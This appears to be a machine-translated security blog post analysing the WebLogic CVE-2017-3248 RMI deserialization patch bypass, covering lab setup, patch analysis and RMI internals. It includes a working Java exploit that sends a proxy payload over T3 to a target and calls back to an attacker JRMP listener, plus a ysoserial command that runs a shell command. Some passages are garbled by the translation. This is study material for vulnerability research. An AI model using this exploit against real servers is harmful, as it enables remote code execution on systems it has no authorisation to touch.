0x01 Vulnerability Background
The vulnerability bypassed the previous patch using rmI deserialization vulnerability, which was a new technology at the time. Applicable versions include 10.3.6.0, 12.1.3.0, 12.2.1.0, and 12.2.1.1. It will study the environment construction, vulnerability patch analysis, bypass method thinking, payload construction and other aspects, and make clear some pit points and knowledge points as much as possible to learn WebLogic deserialization from 0 to 1.
0x02 Environment Setup and Patch Installation
2021 Network security/penetration testing/security learning /100 SRC technical documents (full set of videos, big factory surface, boutique manuals, essential kits, routes
0x1 Environment Setup
- Existing environment
Using an existing Docker environment, run the following command to generate the corresponding version of the docker Docker run -d p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6
- Automatically set up
Using Docker automated construction, Download the build code at Github [https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git) Jdk7u21 and WebLogic 10.3.6.0 are used in this experiment environment, and the programs of corresponding versions are stored in jdk_USE and Weblogic_USE folders
Run the following command:
./WeblogicDockerBuild.sh
docker-compose up -d
Copy the code
0x2 Patch Installation
The patch used this time is P23094342_1036_generic.zip
Install the patch using the following instructions
cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=UIAL -prod_dir=/weblogic/oracle/middleware/wlserver
Copy the code
Patch information:
0x03 Analyzing and Bypassing patches
0x1 Patch Analysis
Payload (cVE-2016-3510 payload) Payload (CVE-2016-3510 Payload) Payload (CVE-2016-3510 Payload) Payload (CVE-2016-3510 Payload
It is clear from the error that MarshalledObject cannot be deserialized. Take a look at how the patch was fixed. At first, the simple-minded author thought that there was something added to the whitelist this time, so she frantically searched for it in all kinds of blacklists, but found nothing. She felt frustrated for a long time. Suddenly a marshalledobject.class file was found in the patch pack while using idea analysis, as shown below
To prove that this interface with the same package path affects the deserialization of MarshalledObject, do the following
mkdir test
cp BUG23094342_10360160719.jar test/
tar xvf BUG23094342_10360160719.jar
rm BUG23094342_10360160719.jar
rm weblogic/corba/utils/MarshalledObject.class
tar -cvf BUG23094342_10360160719.jar ./
Copy the code
Payload cVE-2016-3510 Payload Payload payload
Write an interface with the same package name and class name to override the previous class and make it non-deserializable.
0x2 Pre-knowledge -RMI deserialization
In theory, it would have been possible to bypass MarshalledObject by substituting a class for it, but this time it didn’t. Instead, an interesting deserialization vulnerability, the RMI deserialization vulnerability, was introduced. This time, I will show you how to bypass the patch.
RMI stands for Java Remote Method Call. RMI is an application programming interface for implementing remote procedure calls in the Java programming language. It enables programs running on the client to invoke objects on the remote server. RMI anti-sequence the whole system is more complex, but generally master a few knowledge points can deal with many scenarios. The deserialization points available in RMI communication are summarized while collating RMI knowledge
There are roughly three types of client triggers, server triggers and ** registry triggers. The deserialization points involved in ** ySOSerial are noted in the corresponding places.
Client-side triggering
1. When the client sends a Lookup packet to the registry, the registry returns the stub object to the client and triggers readObject 2 on the client. When a client communicates with a remote using StreamRemoteCall, there is deserialization in the executeCall function that triggers a readObject on the client (payloads/JRMPClient with exploits /JRMPListener) 3. When the client uses DGCImpl_Stub to interact with the DGC server, the client will deserialize the serialized data of the Lease object in the dirty function and trigger the readObject on the client
Server trigger
1. When a client sends a request to the server to invoke a remote method, DGCImpl_Stub is used to communicate with the server. When a dirty request is processed, readObject(exploit/JRMPClient, Can cooperate payloads/JRMPListener)
Registry trigger
1. When the client sends a lookup packet to the registry, the String name corresponding to the stub in binding will be serialized. After receiving the packet, the registry will trigger a readObject on the registry to deserialize the transmitted name. 2. When the server or the client to the registry (RegistryImpl) bind binding stub will trigger on the registration end readObject (exploits/RMIRegistryExploit). 3. ReadObject 4 is triggered on the registry side when a server or client unbind a stub to the registry. The readObject is triggered on the registry side when the server or client rebinds the Stub to the registry rebind
0x3 Principle of RMI deserialization
Cve-2017-3248 can bypass the last vulnerability patch in two ways: client or server trigger. It focuses on analyzing the underlying principle of payloads/JRMPClient cooperating with exploit/JRMPListener to complete the attack.
The background of the deserialization of payloads/JRMPClient is that the client will invoke DGCClient to communicate with the remote DGCServer after receiving a response from RegistryImpl_Skel. The call stack is as follows
The main problem is with the executeCall function of the StreamRemotecall. class class
It is observed that this.in is a ConnectionInputStream and there is no blacklist restriction, so as long as the server can control, it can send any deserialized data to the client.
As it happens in RemoteObjectInvocationHandler deserialization code will invoke the StreamRemoteCall executeCall method in the class
Dirty is already triggered to the executeCall code in conjunction with the previous call stack dgc.dirty function
0x04 Utilization method
0x1 How to construct the Payload
Having examined the vulnerability principle, what code does the client need to build to trigger deserialization? This will be explained later in the RMI section. This section will cover the general logic. There will be many classes and variables.
First, how does an RMI client invoke other classes on a remote server? The RMI mechanism does this by involving classes called on the other side to generate peer structures like stubs and Skel, where stubs are stored on the client side (which can either generate them themselves, such as RegistryImpl_stub, or obtain proxies from the server over the network (MyclassImpl)). Since we are only analyzing the client, a client-side RMI call flow diagram is presented
- Yellow line: The client first calls the getRegistry function to generate the registry Stub (RegistryImpl_stub)
- Yellow line: Then it communicates with remote services using the Lookup method. Remote services will match the Target contained in this stub in ObjectTable for route distribution
- Purple line: After receiving the LOOKUP request, the server will return the generated Proxy class (MyclassImpl)** to the client
- Green line: The client receives the proxy class Stub and calls its methods directly to communicate with the remote service and execute the relevant code remotely
Let’s focus on the purple line part of the process, what does the server actually return, we find the server startup code
When the code executes at line 13, the constructor in the UnicastRemoteObject class will be executed because UserImpl inherits the UnicastRemoteObject class and calls the parent constructor in the constructor
The constructor calls exportObject
How to encapsulate the Stub passed to the Client
Easily understood backwards analysis, using RemoteObjectInvocationHandler agent at the end we need to perform class, then how RemoteRef, can only see from the current code getClientRef is available
The code for getClientRef is as follows. When was this.ref assigned?
How is the sref generated when assigned at the beginning of the UnicastRemoteObject constructor
Sref is actually UnicastServerRef is a subclass of UnicastRef
The LiveRef object is created in its constructor and assigned to the ref variable of UnicastRef
There may be some twists, but the whole thing can be summed up in the following code
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Copy the code
Modelled on the server-side createProxy function, RemoteObjectInvocationHandler encapsulated into the proxy class.
(Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);
Copy the code
Use the code shown below
package main;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class cve_2017_3248 {
public Object getObject(){
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);
return proxy;
}
public static void main(String[] args) throws Exception {
Object obj = new cve_2017_3248().getObject();
byte[] payload2 = Serializables.serialize(obj);
T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
}
}
Copy the code
0x2 Integrated utilization
Step 1 Use JRMPListener to listen on the port
Java - cp ysoserial - 0.0.6 - the SNAPSHOT - BETA - all. Jar ysoserial. Exploits. JRMPListener 7777 CommonsCollections1 'touch/TMP/D4ck'Copy the code
**Step 2 Sends vulnerability payload ** The deserialized data contains the RMI client link code
0 x05 summary
Cve-2017-3248 uses RMI deserialization vulnerability, which also opens a new chapter of the author’s analysis of RMI vulnerability principle. In the following part, Weblogic deserialization vulnerability will be analyzed continuously, and the basic knowledge and simple utilization of RMI deserialization vulnerability will be summarized systematically.